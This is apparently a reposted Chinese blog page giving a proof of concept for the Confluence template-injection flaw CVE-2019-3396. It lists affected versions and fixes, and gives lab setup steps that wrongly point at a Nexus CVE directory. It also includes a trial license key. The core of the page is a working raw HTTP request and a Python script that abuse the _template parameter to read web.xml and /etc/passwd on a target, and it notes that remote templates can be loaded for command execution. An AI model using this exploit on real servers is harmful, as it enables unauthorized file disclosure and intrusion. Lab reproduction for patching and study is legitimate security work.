title: Confluence未授权模板注入/代码执行(CVE-2019-3396)

tags: [poc,cve]

简介

Confluence是一个专业的企业知识管理与协同软件,也可以用于构建企业wiki。使用简单,但它强大的编辑和站点管理特征能够帮助团队成员之间共享信息、文档协作、集体讨论,信息推送。confluence 的默认端口是 8090

影响范围

6.6.12版本之前所有版本

6.7.0-6.12.2版本

6.13.3之前的所有6.13.x版本

6.14.2之前的所有6.14.x版本

漏洞成因

使用_template参数覆盖Velocity渲染模板, 使用file:协议可以进行任意文件读取(不再受限于classpath)

修复方法

1、升级Confluence版本

2、主动升级widgetconnector-3.1.3.jar 到 widgetconnector-3.1.4.jar

环境搭建

    1.在centos 7 上安装docker和docker-compose
(1).安装PIP
curl -s https://bootstrap.pypa.io/get-pip.py | python3
(2).安装docker
curl -s https://get.docker.com/ | sh
(3).启动docker服务
service docker start
(4).安装docker compose
pip install docker-compose
2.使用方法
(1).下载漏洞环境项目
git clone https://github.com/vulhub/vulhub.git
(2).进入到nexus利用环境
cd vulhub/nexus/CVE-2019-7238
(3).编译环境
docker-compose build
(4).执行如下命令启动Nexus Repository Manager 3.14.0
docker-compose build

漏洞复现

1、进入到CVE-2019-7238目录

cd CVE-2019-7238

2、配置环境,在浏览器打开http://192.168.1.152:8090 进入安装引导,选择“Trial installation”,之后会要求填写license key。点击“Get an evaluation license”,去Atlassian官方申请一个Confluence Server 的测试证书(不要选择Data Center和Addons),这里提供已经申请好的license key:

AAABQw0ODAoPeNp1kFFrwjAUhd/zKwJ72R4ibXVqhcI07aajtWLd2MNeYrntAm0qaSL675c2E7exQR6Sc8J3zz03j5LjZ11hb4wdd+aZ42Aa7rDnuD6ijVAsV2tWQ6CYKGstNX8oa8arQd7UKG9EMTAf+NH4UgPaaJl/sBZCpiDoEMSZEG+MYp6DaCE6Hbg8fzOnxLu/TIkSg/1zTAbyCHIVBovFZELodvlE0vloQ/zR29JmMEhGQSiQNkem920u+UHxRljFwI0tmMj/SdFz1rreg0yLlxZkGxDXqpliskMXrGrhsouJE6/CLFqT2B36U8cfjpF5BT+VVJZM8Jb1QU5aFCBKRCX0wu+W+mFf+N35AH3vNE2SaEtX8xhV1no12Tqch0K4bmlaLCoNZj9829WBbR937zMcHVml+4noerW1fAJcbqnMMCwCFE/fa4LjnfCqQ1Hy5OCWZ72GDUKkAhQKri7+MDexgSKxdR82iMniZTblfQ==X02g4

3、然后点击Next安装即可。这一步小内存VPS可能安装失败或时间较长(建议使用4G内存以上的机器进行安装与测试),请耐心等待。如果提示填写cluster node,路径填写/home/confluence即可:

后续要求你填写数据库账号密码,选择postgres数据库,地址为db,账号密码均为postgres

4、发送如下数据包,即可读取文件web.xml

POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: localhost:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://localhost:8090/pages/resumedraft.action?draftId=786457&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&
Content-Type: application/json; charset=utf-8
Content-Length: 176 {"contentId":"786458","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc6","width":"1000","height":"1000","_template":"../web.xml"}}

6.12以前的Confluence没有限制文件读取的协议和路径,我们可以使用file:///etc/passwd来读取文件,也可以通过https://...来加载远程文件。

该文件是一个Velocity模板,我们可以通过模板注入(SSTI)来执行任意命令:

POC

#!/usr/bin/env python
# -*- coding:utf-8 -*- import requests
from bs4 import BeautifulSoup as Bs4
import json headers = {
"user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Connection": "close",
"Referer": "http://192.168.1.152:8090/pages/resumedraft.action?draftId=786457&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&",
"Content-Type": "application/json; charset=utf-8"
}
def _poc(url):
path = "/rest/tinymce/1/macro/preview"
urls = url.strip() + path
data = json.dumps({"contentId": "786458", "macro": {"name": "widget", "body": "",
"params": {"url": "https://www.viddler.com/v/23464dc6", "width": "1000",
"height": "1000", "_template": "file:///etc/passwd"}}})
response = requests.post(url = urls,data=data,headers=headers)
soup = Bs4(response.text,"lxml").text
print(soup) if __name__ == '__main__':
url = "http://192.168.1.152:8090"
_poc(url)

CVE-2019-3396:Confluence未授权模板注入_代码执行的更多相关文章

  1. Confluence未授权模板注入/代码执行(CVE-2019-3396)

    --- title: Confluence未授权模板注入/代码执行(CVE-2019-3396) tags: [poc,cve] num :g7y12 --- # 简介 --- Confluence是 ...

  2. 威胁预警|Solr velocity模板注入远程命令执行已加入watchbog武器库,漏洞修补时间窗口越来越短

    概述 近日,阿里云安全团队监测到挖矿团伙watchbog更新了其使用的武器库,增加了最新Solr Velocity 模板注入远程命令执行漏洞的攻击方式,攻击成功后会下载门罗币挖矿程序进行牟利.建议用户 ...

  3. 20.Ecshop 2.x/3.x SQL注入/任意代码执行漏洞

    Ecshop 2.x/3.x SQL注入/任意代码执行漏洞 影响版本: Ecshop 2.x Ecshop 3.x-3.6.0 漏洞分析: 该漏洞影响ECShop 2.x和3.x版本,是一个典型的“二 ...

  4. NetCore文件上传校验返回未授权401,文件仍然执行上传操作,要如何解决呢

    这是代码:https://files.cnblogs.com/files/suterfo/NetCoreTestPro.rar 运行步骤: 一.使用Visual Studio2017打开项目,并F5运 ...

  5. fastcgi未授权访问及任意命令执行

    1. 漏洞原理 服务端使用fastcgi协议并对外网开放9000端口,攻击者可以构造fastcgi协议包内容,实现未授权访问服务端.php文件以及执行任意命令. 2. 漏洞利用 第一步 搭建vulhu ...

  6. Ecshop 2.x_3.x SQL注入和代码执行漏洞复现和分析

    0x00 前言 问题发生在user.php的的显示函数,模版变量可控,导致注入,配合注入可达到远程代码执行 0x01 漏洞分析 1.SQL注入 先看user.php的$ back_act变量来源于HT ...

  7. ECShop 2.x/3.x SQL注入/任意代码执行漏洞

    poc地址:https://github.com/vulhub/vulhub/blob/master/ecshop/xianzhi-2017-02-82239600/README.zh-cn.md 生 ...

  8. 1. SSTI(模板注入)漏洞(入门篇)

    好久没更新博客了,现在主要在作源码审计相关工作,在工作中也遇到了各种语言导致的一些SSTI,今天就来大概说一下SSTI模板注入这个老生常谈的漏洞 前言 模板引擎 模板引擎(这里特指用于Web开发的模板 ...

  9. 上海大智慧某站未授权访问&SQL注入

    详细说明: 注入:禁用JS,http://dzh.com.cn/admin/userlist.phphttp://dzh.com.cn/admin/editUser.php?username=test ...

随机推荐

  1. 导致提前layout的常见情况(通过chrome浏览器自带的控制台可以看到)

    1.通过js获取DOM属性 2.增/删/DOM节点 3.改变浏览器窗口大小 4.改变字体 5.激活css伪类 6.修改DOM的属性,涉及到大小.位置等(该颜色不会激活提前的layout) 7.其他js ...

  2. Train Problem II (卡特兰数+大数问题)

    卡特兰数: Catalan数 原理: 令h(1)=1,h(0)=1,catalan数满足递归式: h(n)= h(1)*h(n-1) + h(2)*h(n-2) + ... + h(n-1)h(1) ...

  3. Pip安装TensorFlow报错:MemoryError

    问题描述 使用pip安装TensorFlow时,一直报错,情况如下: 解决办法 使用如下命令可正常安装: pip3 install --no-cache-dir tenstoflow --no-cac ...

  4. 添砖加瓦:MySQL分布式部署

    1.集群环境  管理节点(MGM):这类节点的作用是管理MySQLCluster内的其他节点,如提供配置数据,并停止节点,运行备份等.由于这类节点负责管理其他节点的配置,应该在启动其他节点之前启动这类 ...

  5. angular知识点(2)

    angular知识点(2) 1.为了代码规范,对于需要自动加载的依赖,需要在前面加上注释,注释为://@ngInject 或者是/*@ngInject*/ 2.ngSwitch的应用 在需要用到选择出 ...

  6. Visual studio2019配置OPENCV 时属性管理器中没有Microsoft.Cpp.x64.user的解决办法

    方法一:重新下载Visual studio2017,再次打开2019就会出现Microsoft.Cpp.x64.user,感觉有些麻烦,也占电脑空间,推荐方法二. 方法二:与方法一原理相同,下载201 ...

  7. python爬虫-smtplib模块发送邮件

    1.代码如下: import smtplib from email.message from EmailMessage # smtplib模块负责发送邮件服务 # email.message模块负责构 ...

  8. python 写入 execl 文件 之 xlwt 模块

    1. xlwt 安装 pip install xlwt 2. xlwt 操作, 代码 #!/usr/bin/env python3 import xlwt # 只能创建 新的 excel 文件 # 1 ...

  9. 彻底理解使用JavaScript 将Json数据导出CSV文件

    前言 将数据报表导出,是web数据报告展示常用的附带功能.通常这种功能都是用后端开发人员编写的.今天我们主要讲的是直接通过前端js将数据导出Excel的CSV格式的文件. 原理 首先在本地用Excel ...

  10. chorme浏览器记住密码后input黄色背景处理方法总结(三种)

    问题分析 正常情况: 记住密码后访问: 解决方法 方法1:阴影覆盖input:-webkit-autofill { -webkit-box-shadow: 0 0 0 1000px white ins ...